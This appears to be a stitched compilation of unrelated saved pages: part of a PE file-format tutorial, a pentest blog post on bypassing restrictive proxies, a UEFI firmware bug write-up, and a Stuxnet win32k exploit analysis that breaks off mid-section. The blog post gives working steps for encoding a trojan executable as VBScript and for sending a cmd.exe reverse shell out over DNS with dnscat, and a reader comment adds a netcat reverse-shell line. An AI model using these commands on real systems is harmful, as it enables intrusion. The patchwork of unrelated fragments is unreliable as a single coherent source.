initialized data of a DLL, all running instances of the DLL will at

any time have the same variable contents.

Note that only the first instance's section is initialized.

Sections containing code are always shared copy-on-write \(i.e. the

sharing doesn't work if relocations are necessary\).

  

If bit 29 \(IMAGE\_SCN\_MEM\_EXECUTE\) is set, the process gets

'execute'-access to the section's memory.

If bit 30 \(IMAGE\_SCN\_MEM\_READ\) is set, the process gets

'read'-access to the section's memory.

If bit 31 \(IMAGE\_SCN\_MEM\_WRITE\) is set, the process gets

'write'-access to the section's memory.

  

  

  

After the section headers we find the sections themselves. They are, in

the file, aligned to 'FileAlignment' bytes \(that is, after the optional

header and after each section's data there will be padding bytes\) and

ordered by their RVAs. When loaded \(in RAM\), the sections are aligned to

'SectionAlignment' bytes.

  

As an example, if the optional header ends at file offset 981 and

'FileAlignment' is 512, the first section will start at byte 1024. Note

that you can find the sections via the 'PointerToRawData' or the

'VirtualAddress', so there is hardly any need to actually fuss around

with the alignments.

  

  

I will try to make an image of it all:

  

  

+-------------------+

| DOS-stub |

+-------------------+

| file-header |

+-------------------+

| optional header |

|- - - - - - - - - -|

| |----------------+

| data directories | |
| | |
|\(RVAs to direc- |-------------+ |

|tories in sections\)| | |
| |---------+ | |
| | | | |
+-------------------+ | | |
| |-----+ | | |
| section headers | | | | |
| \(RVAs to section |--+ | | | |
| borders\) | | | | | |
+-------------------+<-+ | | | |
| | | <-+ | |
| section data 1 | | | |
| | | <\-----+ |
+-------------------+<\----+ |

| | |
| section data 2 | |
| | <\--------------+
+-------------------+

  

There is one section header for each section, and each data directory

will point to one of the sections \(several data directories may point to

the same section, and there may be sections without data directory

pointing to them\).

  

  

  

Sections' raw data

\------------------

  

  

general

\-------

All sections are aligned to 'SectionAlignment' when loaded in RAM, and

'FileAlignment' in the file. The sections are described by entries in

the section headers: You find the sections in the file via

'PointerToRawData' and in memory via 'VirtualAddress'; the length is in

'SizeOfRawData'.

  

There are several kinds of sections, depending on what's contained in

them. In most cases \(but not in all\) there will be at least one

data directory in a section, with a pointer to it in the optional

header's data directory array.

  

  

code section

\------------

First, I will mention the code section. The section will have, at least,

the bits 'IMAGE\_SCN\_CNT\_CODE', 'IMAGE\_SCN\_MEM\_EXECUTE' and

'IMAGE\_SCN\_MEM\_READ' set, and 'AddressOfEntryPoint' will point somewhere

into the section, to the start of the function that the developer wants

to execute first.

'BaseOfCode' will normally point to the start of this section, but may

point to somewhere later in the section if some non-code-bytes are

placed before the code in the section.

Normally, there will be nothing but executable code in this section, and

there will be only one code section, but don't rely on this.

Typical section names are ".text", ".code", "AUTO" and the like.

  

  

data section

\------------

The next thing we'll discuss is the initialized variables; this section

contains initialized static variables \(like "static int i = 5;"\). It will

have, at least, the bits 'IMAGE\_SCN\_CNT\_INITIALIZED\_DATA',

'IMAGE\_SCN\_MEM\_READ' and 'IMAGE\_SCN\_MEM\_WRITE' set. Some linkers may

place constant data into a section of their own that doesn't have the

writeable-bit. If part of the data is shareable, or there are other

peculiarities, there may be more sections with the apropriate section-

bits set.

The section, or sections, will be in the range 'BaseOfData' up to

'BaseOfData'+'SizeOfInitializedData'.

Typical section names are '.data', '.idata', 'DATA' and so on.

  

  

bss section

\-----------

Then there is the uninitialized data \(for static variables like "static

int k;"\); this section is quite like the initialized data, but will have

a file offset \('PointerToRawData'\) of 0 indicating its contents is not

stored in the file, and 'IMAGE\_SCN\_CNT\_UNINITIALIZED\_DATA' is set

instead of 'IMAGE\_SCN\_CNT\_INITIALIZED\_DATA' to indicate that the

contents should be set to 0-bytes at load-time. This means, there is a

section header but no section in the file; the section will be created

by the loader and consist entirely of 0-bytes.

The length will be 'SizeOfUninitializedData'.

Typical names are '.bss', 'BSS' and the like.

  

These were the section data that are \*not\* pointed to by data

directories. Their contents and structure is supplied by the compiler,

not by the linker.

\(The stack-segment and heap-segment are not sections in the binary but

created by the loader from the stacksize- and heapsize-entries in the

optional header.\)

  

  

copyright

\---------

To begin with a simple directory-section, let's look at the data

directory 'IMAGE\_DIRECTORY\_ENTRY\_COPYRIGHT'. The contents is a

copyright- or description string in ASCII \(not 0-terminated\), like

"Gonkulator control application, copyright \(c\) 1848 Hugendubel & Cie".

This string is, normally, supplied to the linker with the command line

or a description file.

This string is not needed at runtime and may be discarded. It is not

writeable; in fact, the application doesn't need access at all.

So the linker will find out if there is a discardable non-writeable

section already and if not, create one \(named '.descr' or the like\). It

will then stuff the string into the section and let the

copyright-directory-pointer point to the string. The

'IMAGE\_SCN\_CNT\_INITIALIZED\_DATA' bit should be set.

  

  

exported symbols

\----------------

\(Note that the description of the export directory was faulty in versions

of this text before 1999-03-12. It didn't describe forwarders, exports

by ordinal only, or exports with several names.\)

  

The next-simplest thing is the export directory,

'IMAGE\_DIRECTORY\_ENTRY\_EXPORT'. This is a directory typically found

in DLLs; it contains the entry points of exported functions \(and the

addresses of exported objects etc.\). Executables may of course also have

exported symbols but usually they don't.

The containing section should be "initialized data" and "readable". It

should not be "discardable" because the process might call

"GetProcAddress\(\)" to find a function's entry point at runtime.

The section is normally called '.edata' if it is a separate thing; often

enough, it is merged into some other section like "initialized data".

  

The structure of the export table \('IMAGE\_EXPORT\_DIRECTORY'\) comprises a

header and the export data, that is: the symbol names, their ordinals

and the offsets to their entry points.

  

First, we have 32 bits of 'Characteristics' that are unused and normally

0\. Then there is a 32-bit-'TimeDateStamp', which presumably should give

the time the table was created in the time\_t-format; alas, it is not

always valid \(some linkers set it to 0\). Then we have 2 16-bit-words of

version-info \('MajorVersion' and 'MinorVersion'\), and these, too, are

often enough set to 0.

  

The next thing is 32 bits of 'Name'; this is an RVA to the DLL name as a

0-terminated ASCII string. \(The name is necessary in case the DLL file is

renamed - see "binding" at the import directory.\)

Then, we have got a 32-bit-'Base'. We'll come to that in a moment.

  

The next 32-bit-value is the total number of exported items

\('NumberOfFunctions'\). In addition to their ordinal number, items may be

exported by one or several names. and the next 32-bit-number is the

total number of exported names \('NumberOfNames'\).

In most cases, each exported item will have exactly one corresponding

name and it will be used by that name, but an item may have several

associated names \(it is then accessible by each of them\), or it may have

no name, in which case it is only accessible by its ordinal number. The

use of unnamed exports \(purely by ordinal\) is discouraged, because all

versions of the exporting DLL would have to use the same ordinal

numbering, which is a maintainance problem.

  

The next 32-bit-value 'AddressOfFunctions' is a RVA to the list of

exported items. It points to an array of 'NumberOfFunctions'

32-bit-values, each being a RVA to the exported function or variable.

  

There are 2 quirks about this list: First, such an exported RVA may be 0,

in which case it is unused. Second, if the RVA points into the section

containing the export directory, this is a forwarded export. A forwarded

export is a pointer to an export in another binary; if it is used, the

pointed-to export in the other binary is used instead. The RVA in this

case points, as mentioned, into the export directory's section, to a

zero-terminated string comprising the name of the pointed-to DLL and

the export name separated by a dot, like "otherdll.exportname", or the

DLL's name and the export ordinal, like "otherdll.\#19".

  

Now is the time to explain the export ordinal. An export's ordinal is

the index into the AddressOfFunctions-Array \(the 0-based position in

this array\) plus the 'Base' mentioned above.

In most cases, the 'Base' is 1, which means the first export has an

ordinal of 1, the second has an ordinal of 2 and so on.

  

After the 'AddressOfFunctions'-RVA we find a RVA to the array of

32-bit-RVAs to symbol names 'AddressOfNames', and a RVA to the array of

16-bit-ordinals 'AddressOfNameOrdinals'. Both arrays have

'NumberOfNames' elements.

The symbol names may be missing entirely, in which case the

'AddressOfNames' is 0. Otherwise, the pointed-to arrays are running

parallel, which means their elements at each index belong together. The

'AddressOfNames'-array consists of RVAs to 0-terminated export names;

the names are held in a sorted list \(i.e. the first array member is the

RVA to the alphabetically smallest name; this allows efficient searching

when looking up an exported symbol by name\).

According to the PE specification, the 'AddressOfNameOrdinals'-array has

the ordinal corresponding to each name; however, I've found this array

to contain the actual index into the 'AddressOfFunctions-Array instead.

  

I'll draw a picture about the three tables:

  

  

AddressOfFunctions

|

|

|

v

exported RVA with ordinal 'Base'

exported RVA with ordinal 'Base'+1

...

exported RVA with ordinal 'Base'+'NumberOfFunctions'-1

  

  

  

AddressOfNames AddressOfNameOrdinals

| |

| |

| |

v v

RVA to first name <-> Index of export for first name

RVA to second name <-> Index of export for second name

... ...

RVA to name 'NumberOfNames'<-> Index of export for name 'NumberOfNames'

  

  

Some examples are in order.

  

To find an exported symbol by ordinal, subtract the 'Base' to get the

index, follow the 'AddressOfFunctions'-RVA to find the exports-array and

use the index to find the exported RVA in the array. If it does not

point into the export section, you are done. Otherwise, it points to a

string describing the exporting DLL and the name or ordinal therein, and

you have to look up the forwarded export there.

  

To find an exported symbol by name, follow the 'AddressOfNames'-RVA \(if

it is 0 there are no names\) to find the array of RVAs to the export

names. Search your name in the list. Use the name's index in the

'AddressOfNameOrdinals'-Array and get the 16-bit-number corresponding to

the found name. According to the PE spec, it is an ordinal and you need

to subtract the 'Base' to get the export index; according to my

experiences it is the export index and you don't subtract. Using the

export index, you find the export RVA in the 'AddressOfFunctions'-Array,

being either the exported RVA itself or a RVA to a string describing a

forwarded export.

  

  

imported symbols

\----------------

When the compiler finds a call to a function that is in a different

executable \(mostly in a DLL\), it will, in the most simplistic case, not

know anything about the circumstances and simply output a normal

call-instruction to that symbol, the address of which the linker will

have to fix, like it does for any external symbol.

The linker uses an import library to look up from which DLL which symnol

is imported, and produces stubs for all the imported symbols, each of

which consists of a jump-instruction; the stubs are the actual

call-targets. These jump-instructions will actually jump to an address

that's fetched from the so-called import address table. In more

sophisticated applications \(when "\_\_declspec\(dllimport\)" is used\), the

compiler knows the function is imported, and outputs a call to the

address that's in the import address table, bypassing the jump.

  

Anyway, the address of the function in the DLL is always necessary and

will be supplied by the loader from the exporting DLL's export directory

when the application is loaded. The loader knows which symbols in what

libraries have to be looked up and their addresses fixed by searching

the import directory.

  

I will better give you an example. The calls with or without

\_\_declspec\(dllimport\) look like this:

  

source:

int symbol\(char \*\);

\_\_declspec\(dllimport\) int symbol2\(char\*\);

void foo\(void\)

\{

int i=symbol\("bar"\);

int j=symbol2\("baz"\);

\}

assembly:

...

call \_symbol ; without declspec\(dllimport\)

...

call \[\_\_imp\_\_symbol2\] ; with declspec\(dllimport\)

...

  

In the first case \(without \_\_declspec\(dllimport\)\), the compiler didn't

know that '\_symbol' was in a DLL, so the linker has to provide the

function '\_symbol'. Since the function isn't there, it will supply a

stub function for the imported symbol, being an indirect jump. The

collection of all import-stubs is called the "transfer area" \(also

sometimes called a "trampoline", because you jump there in order to jump

to somewhere else\).

Typically this transfer area is located in the code section \(it is not

part of the import directory\). Each of the function stubs is a jump to

the actual function in the target DLLs. The transfer area looks like

this:

  

\_symbol: jmp \[\_\_imp\_\_symbol\]

\_other\_symbol: jmp \[\_\_imp\_\_other\_\_symbol\]

...

  

  

This means: if you use imported symbols without specifying

"\_\_declspec\(dllimport\)" then the linker will generate a transfer area

for them, consisting of indirect jumps. If you do specify

"\_\_declspec\(dllimport\)", the compiler will do the indirection itself and

a transfer area is not necessary. \(It also means: if you import

variables or other stuff you must specify "\_\_declspec\(dllimport\)",

because a stub with a jmp instruction is appropriate for functions

only.\)

  

In any case the adress of symbol 'x' is stored at a location '\_\_imp\_x'.

All these locations together comprise the so-called "import address

table", which is provided to the linker by the import libraries of the

various DLLs that are used. The import address table is a list of

addresses like this:

  

\_\_imp\_\_symbol: 0xdeadbeef

\_\_imp\_\_symbol2: 0x40100

\_\_imp\_\_symbol3: 0x300100

...

  

This import address table is a part of the import directory, and it is

pointed to by the IMAGE\_DIRECTORY\_ENTRY\_IAT directory pointer \(although

some linkers don't set this directory entry and it works nevertheless;

apparently, the loader can resolve imports without using the directory

IMAGE\_DIRECTORY\_ENTRY\_IAT\).

The addresses in this table are unknown to the linker; the linker

inserts dummies \(RVAs to the function names; see below for more

information\) that are patched by the loader at load time using the

export directory of the exporting DLL. The import address table, and how

it is found by the loader, will be described in more detail later in

this chapter.

  

Note that this description is C-specific; there are other application

building environments that don't use import libraries. They all need to

generate an import address table, though, which they use to let their

programs access the imported objects and functions. C compilers tend to

use import libraries because it is convenient for them - their linkers

use libraries anyway. Other environments use e.g. a description file

that lists the necessary DLL names and function names \(like the "module

definition file"\), or a declaration-style list in the source.

  

  

This is how imports are used by the program's code; now we'll look how

an import directory is made up so the loader can use it.

  

  

The import directory should reside in a section that's "initialized

data" and "readable".

The import directory is an array of IMAGE\_IMPORT\_DESCRIPTORs, one for

each used DLL. The list is terminated by a IMAGE\_IMPORT\_DESCRIPTOR

that's entirely filled with 0-bytes.

An IMAGE\_IMPORT\_DESCRIPTOR is a struct with these members:

  

OriginalFirstThunk

An RVA \(32 bit\) pointing to a 0-terminated array of RVAs to

IMAGE\_THUNK\_DATAs, each describing one imported function. The

array will never change.

  

TimeDateStamp

A 32-bit-timestamp that has several purposes. Let's pretend that

the timestamp is 0, and handle the advanced cases later.

  

ForwarderChain

The 32-bit-index of the first forwarder in the list of imported

functions. Forwarders are also advanced stuff; set to all-bits-1

for beginners.

Name

A 32-bit-RVA to the name \(a 0-terminated ASCII string\) of the

DLL.

FirstThunk

An RVA \(32 bit\) to a 0-terminated array of RVAs to

IMAGE\_THUNK\_DATAs, each describing one imported function. The

array is part of the import address table and will change.

  

So each IMAGE\_IMPORT\_DESCRIPTOR in the array gives you the name of the

exporting DLL and, apart from the forwarder and timestamp, it gives you

2 RVAs to arrays of IMAGE\_THUNK\_DATAs, using 32 bits. \(The last member

of each array is entirely filled with 0-bytes to mark the end.\)

Each IMAGE\_THUNK\_DATA is, for now, an RVA to a IMAGE\_IMPORT\_BY\_NAME

which describes the imported function.

The interesting point is now, the arrays run parallel, i.e.: they point

to the same IMAGE\_IMPORT\_BY\_NAMEs.

  

No need to be desparate, I will draw another picture. This is the

essential contents of one IMAGE\_IMPORT\_DESCRIPTOR:

  

OriginalFirstThunk FirstThunk

| |

| |

| |

V V

  

0--> func1 <\--0

1--> func2 <\--1

2--> func3 <\--2

3--> foo <\--3

4--> mumpitz <\--4

5--> knuff <\--5

6-->0 0<\--6 /\* the last RVA is 0\! \*/

  

where the names in the center are the yet to discuss

IMAGE\_IMPORT\_BY\_NAMEs. Each of them is a 16-bit-number \(a hint\) followed

by an unspecified amount of bytes, being the 0-terminated ASCII name of

the imported symbol.

The hint is an index into the exporting DLL's name table \(see export

directory above\). The name at that index is tried, and if it doesn't

match then a binary search is done to find the name.

\(Some linkers don't bother to look up correct hints and simply specify

1 all the time, or some other arbitrary number. This doesn't harm, it

just makes the first attempt to resolve the name always fail, enforcing

a binary search for each name.\)

  

To summarize, if you want to look up information about the imported

function "foo" from DLL "knurr", you first find the entry

IMAGE\_DIRECTORY\_ENTRY\_IMPORT in the data directories, get an RVA, find

that address in the raw section data and now have an array of

IMAGE\_IMPORT\_DESCRIPTORs. Get the member of this array that relates to

the DLL "knurr" by inspecting the strings pointed to by the 'Name's.

When you have found the right IMAGE\_IMPORT\_DESCRIPTOR, follow its

'OriginalFirstThunk' and get hold of the pointed-to array of

IMAGE\_THUNK\_DATAs; inspect the RVAs and find the function "foo".

  

Ok, now, why do we have \*two\* lists of pointers to the

IMAGE\_IMPORT\_BY\_NAMEs? Because at runtime the application doesn't need

the imported functions' names but the addresses. This is where the

import address table comes in again. The loader will look up each

imported symbol in the export-directory of the DLL in question and

replace the IMAGE\_THUNK\_DATA-element in the 'FirstThunk'-list \(which

until now also points to the IMAGE\_IMPORT\_BY\_NAME\) with the linear

address of the DLL's entry point.

Remember the list of addresses with labels like "\_\_imp\_\_symbol"; the

import address table, pointed to by the data directory

IMAGE\_DIRE

# The Grey Corner: Bypassing Restrictive Proxies Part 1, Encoded Executables
and DNS Tunneling

**Created:**| _4/10/2011 11:50:54 AM_  
---|---  
**Updated:**| _4/10/2011 11:59:29 AM_  
**Author:**| __  
**Tags:**| _shellcode bookmark network-security Tutorials_  
  

## Bypassing Restrictive Proxies Part 1, Encoded Executables and DNS Tunneling  

**Uses for Download and Execute Script Shellcode**  
  
A little while back I posted my Download and Execute Script shellcode and
mentioned that it could be used in bypassing restrictive proxy servers. In
this post I will give some quick examples of how you can actually do that.  
  
The example scenarios I will describe are as follows, and involve having the
script that is downloaded and executed:  

  * write an arbitrary executable to disk and run it, or
  * open a reverse\_http shell back through the restrictive proxy to the attackers system

  
**Write an Executable to Disk and Run It**  
  
This scenario simply involves creating a vbscript file that contains an
encoded copy of your chosen executable, that when run will decode the file,
write it to disk, and then run it. The end result of this is exactly the same
as with regular download and execute shellcode, however unlike with regular
download and execute shellcode this method will get past restrictive proxy
servers that block files with executable content \(you just need to make sure
that the proxy server isn't also going to block pages with any of the script
commands you have used, and if it does - obfuscate\!\).  
  
I was all set to write up a little program to automate this process of
encoding an executable into a VBScript file, but then I stumbled onto the fact
that a script to do this already exists - in Metasploit\!  
  
The script is called exe2vbs.rb and it sits inside the tools directory in the
Metasploit 3 install directory. Assuming your Metasploit3 install directory is
/opt/metasploit3/ run it like so:  
  

> lupin@lion:~$ /opt/metasploit3/msf3/tools/exe2vbs.rb  
>  Usage: /opt/metasploit3/msf3/tools/exe2vbs.rb \[exe\] \[vbs\]
  
So as an example, if you want to encode your executable trojan.exe into a
vbscript trojan.vbs, use the following command line  
  

> lupin@lion:~$ /opt/metasploit3/msf3/tools/exe2vbs.rb trojan.exe trojan.vbs  
>  \[\*\] Converted 282624 bytes of EXE into a vbs script
  
You now have a VB Script file that you can host on a webserver, which when run
will write your encoded executable to disk and execute it. Just rename the
extension of the file to something innocuous like .tmp to bypass proxy
filename filtering, stick the script file on a webserver, and create an
exploit using the Download and Execute Script shellcode as demonstrated in the
Usage Examples section of this post.  
  
**DNS Tunneling**  
  
What type of executables should you download onto the target system, supposing
you actually want to do something useful on the target system and given that
the system exists within a restrictive environment? Well, one potential tool
is Dnscat, which can allow you to tunnel a shell out of the network via DNS, a
protocol which is likely to be allowed to communicate externally even in some
restrictive environments.  
  
Running Dnscat to tunnel a shell out of a system does require some command
line options to be used with the executable, however this is not a problem
because you can add any necessary command line options to the executable bound
into your script file by modifying the "run" line in the script file. Lets
look at an example:  
  
Download the Windows version of Dnscat and encode like so:  
  

> lupin@lion:~/Downloads/nbtool/nbtool-0.04$
> /opt/metasploit3/msf3/tools/exe2vbs.rb dnscat.exe dnscat.vbs  
>  \[\*\] Converted 121344 bytes of EXE into a vbs script
  
Then in the output vbs file look for a line similar to the following. Your
line will likely look a little different because the variable names are being
randomised by the exe2vbs.rb script, but just keep your eye out for ".run"
appearing at the end of the first word in a line near the end of the file.  
  

> cgbKynYWc.run CDWPYlgAnS, 0, true
  
Then modify this line to look like the following, replacing
subdomain.example.com with your own DNS domain  
  

> cgbKynYWc.run CDWPYlgAnS & " \--domain subdomain.example.com --exec
> ""cmd.exe""", 0, true
  
Essentially I have just added the following text to the line just before the
first comma, these are the command line parameters that will be fed to the
dsncat executable when it is run by the script:  
  

> & " \--domain subdomain.example.com \--exec ""cmd.exe"""
  
Once that is done execute the script on your victim machine using an exploit,
and if you are running a dnscat listener on your attacking machine \('dnscat
--listen' as root\) when the script runs you will receive a shell back via
DNS:  
  

> lupin@lion:~$ sudo dnscat --listen  
>  Waiting for DNS requests for domain '\*' on 0.0.0.0:53...  
>  Timeout has occurred, resetting state  
>  Received SYN\!  
>  Sending 'ACK'  
>  Microsoft Windows XP \[Version 5.1.2600\]  
>  \(C\) Copyright 1985-2001 Microsoft Corp.  
>  
>  C:\>
  
Please note that this DNS shell tunneling method requires that your system be
acting as the authorative name server for your chosen domain, AND it doesn't
work in all environments \(it certainly won't work when split DNS is
implemented, but in some other cases it won't work either\). Read the dnscat
wiki entry and this guide on DNS tunneling to learn more. If you want to test
this locally without having a nameserver for your own domain, add the "\--dns
192.168.56.1" switch to the modified run command in your script, where
192.168.56.1 should be replaced with the IP address \(don't use a DNS name\)
of your attacking system.  
  
Note that directly specifying the IP address of your attacking system like
this won't work in \(properly configured\) restrictive environments - direct
client connections to external DNS servers should not be permitted and all DNS
queries should be sent through the environments configured DNS server, in
which case they will only reach your attacking system if its acting as an
authorative name server for the chosen domain.  
  
The next entry in this series will cover how to tunnel out a shell via the
restrictive proxy itself, using some slightly modified Metasploit
reverse\_http code.

Posted by lupin at 12:43 AM <img src='img/Temp2_8062.gif' width='18'
height='13' />

Labels: pentesting, restrictive proxies, shellcode

#### 5 comments:

<img src='img/Temp2_8063.gif' width='16' height='16' />

maudits said...

    
Hi there,  
I am a fun of your blog. I found it when I was looking for bad chars problems
and I ended up reading the whole blog. Ok now seriously :\) I got stuck when I
started writing this message on the "download and execute" payload. I then
found out that It was loading the widecapd module \(widecap is a proxifier\)
and crash. I still don't understand why It was loading such module though
widecap was turned off, so I removed the application and now the payload works
good.  
  
Thank you for posting and sharing.  
  
maudits

    January 3, 2011 4:15 PM
<img src='img/Temp2_8063.gif' width='16' height='16' />

maudits said...

    
Hi I hope you are good and you enjoyed the holydays.  
I have just tried the same technique but with netcat and worked perfect.
Thanks for the post  
  
gyGJRaATQdsEpP.run xFrFCDxGxMhPO & " 192.168.1.3 9999 -e ""cmd.exe""", 0, true  
  
the double quotes have to be repeated around cmd.exe otherwise It doesn't
work, why?  
  
Cheers,  
maudits

  *[12:43 AM]: 2010-06-19T00:43:00+10:00

# mjg59 | Firmware bugs considered enraging
**Created:**| _1/15/2012 10:39:34 PM_  
---|---  
**Updated:**| _1/15/2012 10:39:34 PM_  
**Author:**| __  
**Tags:**| _bughunting Firmware_  
  

### Firmware bugs considered enraging

Jan. 6th, 2012 02:39 pm

<img src='img/Temp2_10462.png' width='17' height='17' alt='[personal profile]
' />**mjg59**

Part of our work to make it possible to use UEFI Secure Boot on Linux has been
to improve our EFI variable support code. Right now this has a hardcoded
assumption that variables are 1024 bytes or smaller, which was true in pre-1.0
versions of the EFI spec. Modern implementations allow the maximum variable
size to be determined by the hardware, and with implementations using large
key sizes and hashes 1024 bytes isn't really going to cut it. My first attempt
at this was a little ugly but also fell foul of the fact that sysfs only
allows writes of up to the size of a page - so 4KB on most of the platforms
we're caring about. So I've now reimplemented it as a filesystem\[1\], which
is trickier but avoids this problem nicely.  
  
Things were almost working fine - I could read variables of arbitrary sizes,
and I could write to existing variables. I was just finishing hooking up new
variable creation, but in the process accidentally set the contents of the
Boot0002 variable to 0xffffffff 0xffffffff 0x00000000. Boot\* variables
provide the UEFI firmware with the different configured boot devices on the
system - they can point either at a raw device or at a bootloader on a device,
and they can do so using various different namespaces. They have a defined
format, as documented in chapter 9 of the UEFI spec. At boot time the boot
manager reads the variables and attempts to boot from them in a configured
order as found in the BootOrder variable.  
  
Now, obviously, 0xffffffff 0x00000000 is unlikely to conform to the
specification. And when I rebooted the machine, it gave me a flashing cursor
and did nothing. Fair enough - I should be able to choose another boot path
from the boot manager. Except the boot manager behaves identically, and I get
a flashing cursor and nothing else.  
  
I reported this to the EDK2 development list, and Andrew Fish \(who invented
EFI back in the 90s\) pointed me at the code that's probably responsible. It's
in the BDS \(Boot Device Selection\) library that's part of the UEFI reference
implementation from Intel, and you can find it here. The relevant function is
BdsLibVariableToOption, which is as follows \(with irrelevant bits elided\):  

[code]

    BdsLibVariableToOption (
      IN OUT LIST_ENTRY                   *BdsCommonOptionList,
      IN  CHAR16                          *VariableName
      )
    {
      UINT16                    FilePathSize;
      UINT8                     *Variable;
      UINT8                     *TempPtr;
      UINTN                     VariableSize;
      VOID                      *LoadOptions;
      UINT32                    LoadOptionsSize;
      CHAR16                    *Description;
    
      //
      // Read the variable. We will never free this data.
      //
      Variable = BdsLibGetVariableAndSize (
                  VariableName,
                  &gEfiGlobalVariableGuid,
                  &VariableSize
                  );
      if (Variable == NULL) {
        return NULL;
      }
    
[/code]

So so far so good - we read the variable from flash and put it in Variable,
Variable is now 0xffffffff 0xffffffff 0x00000000. If it hadn't existed we'd
have skipped over and continued. VariableSize is 12.  

[code]

      //
      // Get the option attribute
      //
      TempPtr   =  Variable;
      Attribute =  *(UINT32 *) Variable;
      TempPtr   += sizeof (UINT32);
    
[/code]

Attribute is now 0xffffffff and TempPtr points to Variable + 4.  

[code]

      //
      // Get the option's device path size
      //
      FilePathSize =  *(UINT16 *) TempPtr;
      TempPtr      += sizeof (UINT16);
    
[/code]

FilePathSize is 0xffff, TempPtr points to Variable + 6.  

[code]

      //
      // Get the option's description string size
      //
      TempPtr     += StrSize ((CHAR16 *) TempPtr);
    
[/code]

TempPtr points to 0xffff 0x0000, so StrSize \(which is basically strlen\) will
be 4. TempPtr now points to Variable + 10.  

[code]

      //
      // Get the option's device path
      //
      DevicePath =  (EFI_DEVICE_PATH_PROTOCOL *) TempPtr;
      TempPtr    += FilePathSize;
    
[/code]

TempPtr now points to Variable + 65545 \(FilePathSize is 0xffff\).  

[code]

      LoadOptions     = TempPtr;
      LoadOptionsSize = (UINT32) (VariableSize - (UINTN) (TempPtr - Variable));
    
[/code]

LoadOptionsSize is now 12 - \(Variable + 65545 - Variable\), or 12 - 65545, or
-65533. But it's cast to an unsigned 32 bit integer, so it's actually
4294901763.  

[code]

      Option->LoadOptions = AllocateZeroPool (LoadOptionsSize);
      ASSERT(Option->LoadOptions != NULL);
    
[/code]

We attempt to allocate just under 4GB of RAM. This probably fails - if it does
the boot manager exits. This probably means game over. But if it somehow
succeeds:  

[code]

    CopyMem (Option->LoadOptions, LoadOptions, LoadOptionsSize);
    
[/code]

we then proceed to read almost 4GB of content from uninitialised addresses,
and since Variable was probably allocated below 4GB that almost certainly
includes all of your PCI space \(which is typically still below 4GB\) and bits
of your hardware probably generate very unhappy signals on the bus and you
lose anyway.  
  
So now I have a machine that won't boot, and the clear CMOS jumper doesn't
clear the flash contents so I have no idea how to recover from it. And because
this code is present in the Intel reference implementation, doing the same
thing on most other UEFI machines would probably have the same outcome.
Thankfully, it's not something people are likely to do by accident - using any
of the standard interfaces will always generate a valid entry, so you could
only trigger this when modifying variables by hand. But now I need to set up
another test machine.  
  
\[1\] All code in Linux will evolve until the point where it's implemented as
a filesystem.

# VUPEN Vulnerability Research Blog - Technical Analysis of the Stuxnet
Windows Win32K.sys Keyboard Layout 0-Day Exploit CVE-2010-2743

**Created:**| _1/18/2011 9:52:25 AM_  
---|---  
**Updated:**| _1/18/2011 9:52:56 AM_  
**Author:**| __  
**Tags:**| _bookmark Malware-analysis_  
  
|  |    
 _**_Technical_**_** __Analysis of the Windows Win32K.sys Keyboard Layout
Stuxnet Exploit_  
_** | _Published on 2010-10-18 12:53:38 UTC by Sebastien Renaud_ _, Security Researcher @ VUPEN_ |    
  
---|---  
<img src='img/Temp2_8840.gif' width='50' height='50' />Hi everyone,  
  
This time we will share very interesting technical details on how Stuxnet
authors have achieved reliable code execution while exploiting one of the two
Windows privilege escalation 0-Day vulnerabilities. This one was patched last
week with the MS10-073 update, and a remaining Task Scheduler vulnerability is
still unpatched.  
  
While we deeply analyzed Stuxnet and its behaviors, we will not explain its
architecture or features as two detailed documents have already been published
by our friends from Symantec and ESET.  
  
We will focus here on the Windows Win32K.sys keyboard layout vulnerability
\(_CVE-2010-2743_\) and how it was exploited by Stuxnet using custom Portable
Executable \(PE\) parsing tricks to achieve a reliable code execution.  
  
**__1\. Technical Analysis of the Vulnerability__**  
  
This specific vulnerability exists within the Windows kernel-mode driver
"win32k.sys" that does not properly index a table of function pointers when
loading a keyboard layout from disk.  
  
Usually keyboard layout files are loaded through the "LoadKeyboardLayout\(\)"
function which is a wrapper around the "NtUserLoadKeyboardLayoutEx\(\)" win32k
syscall.  
  
Below is a kernel stack trace when loading a keyboard layout file:  

  
kd> kn  
\# ChildEBP RetAddr  
00 b0982944 bf861cd1 win32k\!SetGlobalKeyboardTableInfo  
01 b0982958 bf889720 win32k\!ChangeForegroundKeyboardTable+0x11c  
02 b0982978 bf87580e win32k\!xxxSetPKLinThreads+0x37  
03 b09829f0 bf875588 win32k\!xxxLoadKeyboardLayoutEx+0x395  
04 b0982d40 8053d658 win32k\!NtUserLoadKeyboardLayoutEx+0x164  
05 b0982d40 7c90e514 nt\!KiFastCallEntry+0xf8  
06 0012fccc 00402347 ntdll\!KiFastSystemCallRet ; \(transition from user to
kernel\)  
  
---  
Once a crafted file is loaded by the Win32K kernel driver, the malware sends
an event to the keyboard input stream to effectively trigger the
vulnerability. This was achieved by calling the "user32\!SendUserInput\(\)"
function which, in turn, calls "win32k\!NtUserSendInput\(\)" and ultimately
the "win32k\!xxxKENLSProcs\(\)" function:  
  

  
kd> kn  
\# ChildEBP RetAddr  
00 b0a5ac88 bf848c64 win32k\!xxxKENLSProcs  
01 b0a5aca4 bf8c355b win32k\!xxxProcessKeyEvent+0x1f9  
02 b0a5ace4 bf8c341b win32k\!xxxInternalKeyEventDirect+0x158  
03 b0a5ad0c bf8c3299 win32k\!xxxSendInput+0xa2  
04 b0a5ad50 8053d658 win32k\!NtUserSendInput+0xcd  
05 b0a5ad50 7c90e514 nt\!KiFastCallEntry+0xf8  
06 0012fd08 7e42f14c ntdll\!KiFastSystemCallRet  
07 0012fd7c 00401ded USER32\!NtUserSendInput+0xc  
WARNING: Stack unwind information not available. Following frames may be
wrong.  
08 0012fdac 00401331 CVE\_2010\_2743+0x1ded  
  
---  
Inside the "win32k\!xxxKENLSProcs\(\)" function, the Win32K driver retrieves a
byte from the keyboard layout file which was previously loaded. This byte is
set into the ECX register and then used as an index in an array of function
pointers:  

  
; In win32k\!xxxKENLSProcs\(\) function starting at 0xBF8A1F9C  
; Module: win32k.sys - Module Base: 0xBF800000 - version: 5.1.2600.6003  
;  
.text:BF8A1F50 movzx ecx, byte ptr \[eax-83h\]  //**ECX is attacker-
controlled**  
.text:BF8A1F57 push edi  
.text:BF8A1F58 add eax, 0FFFFFF7Ch  
.text:BF8A1F5D push eax  
.text:BF8A1F5E call \_aNLSVKFProc\[ecx\*4\] **** //**indexed call in function
array**  
  
---  
The aNLSVKFProc function array contains three functions and is followed by an
array of byte values:  

  
